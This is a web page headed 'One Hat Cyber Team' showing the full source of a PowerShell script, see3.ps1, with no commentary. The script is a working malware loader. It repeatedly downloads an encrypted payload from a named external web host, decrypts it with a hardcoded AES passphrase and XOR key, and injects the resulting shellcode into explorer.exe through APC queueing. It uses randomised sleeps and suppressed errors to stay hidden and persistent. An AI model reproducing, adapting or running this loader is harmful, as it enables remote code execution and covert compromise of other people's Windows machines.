One Hat Cyber Team

View File Name : see3.ps1

while ($true) {
    try {
        $explorer = Get-Process explorer -ErrorAction SilentlyContinue
        if (-not $explorer) {
            Start-Sleep -Seconds 10
            continue
        }
        $url = "https://www.lelopagani.com.br/assets/js/pp10.bin"
        $xorKey = 0x5A
        $aesPassword = "S3cur3Passphras3!"
        $enc = $null
        for ($attempt = 1; $attempt -le 3; $attempt++) {
            try {
                $enc = (Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 30 -Headers @{"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}).Content
                break
            } catch {
                Start-Sleep -Seconds (5 * $attempt)
            }
        }
        if (-not $enc) {
            Start-Sleep -Seconds 60
            continue
        }
        $key = [Text.Encoding]::UTF8.GetBytes($aesPassword.PadRight(32, "X").Substring(0,32))
        $iv = $enc[0..15]
        $cipher = $enc[16..($enc.Length - 1)]
        $aes = [System.Security.Cryptography.Aes]::Create()
        $aes.Key = $key
        $aes.IV = $iv
        $aes.Mode = 'CBC'
        $aes.Padding = 'PKCS7'
        $decryptor = $aes.CreateDecryptor()
        $xorData = $decryptor.TransformFinalBlock($cipher, 0, $cipher.Length)
        $shellcode = [byte[]]::new($xorData.Length)
        for ($i = 0; $i -lt $xorData.Length; $i++) {
            $shellcode[$i] = $xorData[$i] -bxor $xorKey
        }
        if ($shellcode.Length -lt 200) {
            Start-Sleep -Seconds 60
            continue
        }
        $allowedStarts = 0x90,0xFC,0x48,0x4C,0x4D,0x55,0x56,0xE8,0x50,0x51
        if ($shellcode[0] -notin $allowedStarts) {}
        Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class StableInject {
    [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
    [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, uint size, uint allocType, uint protect);
    [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr hProc, IntPtr baseAddr, byte[] buffer, int size, out IntPtr written);
    [DllImport("kernel32.dll")] public static extern IntPtr OpenThread(uint access, bool inherit, uint tid);
    [DllImport("kernel32.dll")] public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
    [DllImport("kernel32.dll")] public static extern bool CloseHandle(IntPtr h);
}
"@
        $hProc = [StableInject]::OpenProcess(0x1F0FFF, $false, $explorer.Id)
        if ($hProc -eq [IntPtr]::Zero) { throw "Failed to open explorer.exe" }
        $addr = [StableInject]::VirtualAllocEx($hProc, [IntPtr]::Zero, [uint32]$shellcode.Length, 0x3000, 0x40)
        if ($addr -eq [IntPtr]::Zero) { throw "VirtualAllocEx failed" }
        $written = [IntPtr]::Zero
        [StableInject]::WriteProcessMemory($hProc, $addr, $shellcode, $shellcode.Length, [ref]$written) | Out-Null
        $threads = $explorer.Threads | Where-Object { $_.ThreadState -eq 'Wait' } | Select-Object -First 6
        $successCount = 0
        foreach ($t in $threads) {
            $hThread = [StableInject]::OpenThread(0x0010, $false, $t.Id)
            if ($hThread -ne [IntPtr]::Zero) {
                $result = [StableInject]::QueueUserAPC($addr, $hThread, [IntPtr]::Zero)
                if ($result -ne 0) { $successCount++ }
                [StableInject]::CloseHandle($hThread)
            }
        }
        [StableInject]::CloseHandle($hProc)
    } catch {}
    $sleepTime = 240 + (Get-Random -Minimum -60 -Maximum 120)
    Start-Sleep -Seconds $sleepTime
}